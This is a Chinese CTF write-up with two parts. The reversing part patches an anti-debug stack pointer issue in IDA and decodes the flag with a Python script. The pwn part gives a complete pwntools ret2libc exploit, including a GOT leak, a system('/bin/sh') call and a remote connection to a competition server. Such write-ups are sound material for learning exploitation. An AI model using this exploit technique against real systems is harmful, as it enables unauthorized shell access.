巅峰极客第二场_Re&&Pwn

0x01 Antidbg

首先大致定位判断函数:
可以下断点调试,结合输入观察中断情况找到判断函数
我是直接看到 其预先定义的数据:

.rdata:004021B0 xmmword_4021B0  xmmword 100070D020108080D000103040D0303h
.rdata:004021B0                                         ; DATA XREF: sub_4011A0+7C↑r
.rdata:004021C0 xmmword_4021C0  xmmword 1050D02070106010206000B07010C06h
.rdata:004021C0                                         ; DATA XREF: sub_4011A0+68↑r

在sub_4011A0处被调用,大致判断sub_4011A0为目标函数
找到函数,F5提示:positive sp value has been found
options->general->查看stack pointer
发现:

巅峰极客第二场_Re&&Pwn_第1张图片
图片.png

存在-90,在.text:004012AC处 ALT+K修复一下sp指针,直接添负号
修改后F5看伪代码:

  if ( strlen(Dst) == 42 )
  {
    v1 = 0;
    v3 = xmmword_4021C0;
    v5 = 34080258;
    v4 = xmmword_4021B0;
    v6 = 33882121;
    v7 = 3330;
    while ( Dst[v1] >> 4 == dword_403018[byte_402178[v1]] && (Dst[v1] & 0xF) == dword_402138[*((char *)&v3 + v1)] )
    {
      if ( ++v1 >= 42 )
      {
        v9 = 1667462515;
        v10 = 7566181;
        goto LABEL_8;
      }
    }

很清楚的逻辑,v3v4v5v6v7分别定义,但在内存中连续形成key1,不过dword_403018中值过小,都是2,猜测应该是程序在此前会修改此处,动态调试中(在调试中断点下在if ( strlen(Dst) == 42 )此处能拦截输出,也能说明这就是判断我们输入的地方)导出dword_403018即可:

key1="060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020d00"
key2="02020202030101020101020101000101020200010101010001010202000101020201010101010201010300"
key3="2367"
flag=""
for i in range(42):
   l=int(key1[i*2:i*2+2],16)&0xf
   k=int(key2[i*2:i*2+2])
   h=int(key3[k])<<4
   flag+=chr(h+l)
print flag

0x02 PlainR2B

程序保护:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

No canary found且给了libc
看主要函数:

int game()
{
  int result; // eax
  char buf; // [esp+Ch] [ebp-1Ch]

  puts("First, what's your name?");
  if ( read(0, &name, 0x14u) > 19 )
  {
    puts("Oh, your name too loooooong...");
    exit(0);
  }
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  printf("%s, do you want to get flag?\n", &name);
  read(0, &buf, 0x34u);
  if ( !strcmp(&buf, "yes") || (result = strcmp(&buf, "YES")) == 0 )
    result = printf("OK,the flag is flag{%s}, enmmm... but is true?", "WorkToWeekT_T");
  return result;
}

buf可以覆盖返回地址
我们可以分两步:

1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game_addr用于复用漏洞
2 复用过程覆盖返回地址为system("/bin/sh")或者one_gadget拿到的execv(注意限制条件)

EXP:
(题很简单,大部分时间在调exp,很简单的exp,接收发送的数据老是不对劲,不知道是发送接收缓冲区还是题目程序本身的玄学,而且我开始选择elf.got["printf"]中为elf.got["strcmp"],就无法打到正确addr,换成其他函数就可以,不知道为什么)

from pwn import *

#context.log_level = 'debug'
#p=process("./pwn")
elf=ELF("./pwn")
lib=ELF("./libc-2.23.so")
p=remote("117.50.60.184",12345)
p.recvuntil("what's your name?")
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload='A'*28+p32(0xfffde000) +p32(elf.plt["printf"])+p32(0x80485cb)+p32(elf.got["printf"])
p.sendline(payload)
p.recv(1)
printf_addr=u32(p.recv(4))
system_addr=printf_addr-lib.symbols["printf"]+lib.symbols["system"]
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload2="A"*28+p32(0xfffde000)+p32(system_addr)+p32(system_addr)+p32(0x804a06c)
p.sendline(payload2)
p.interactive()

你可能感兴趣的:(巅峰极客第二场_Re&&Pwn)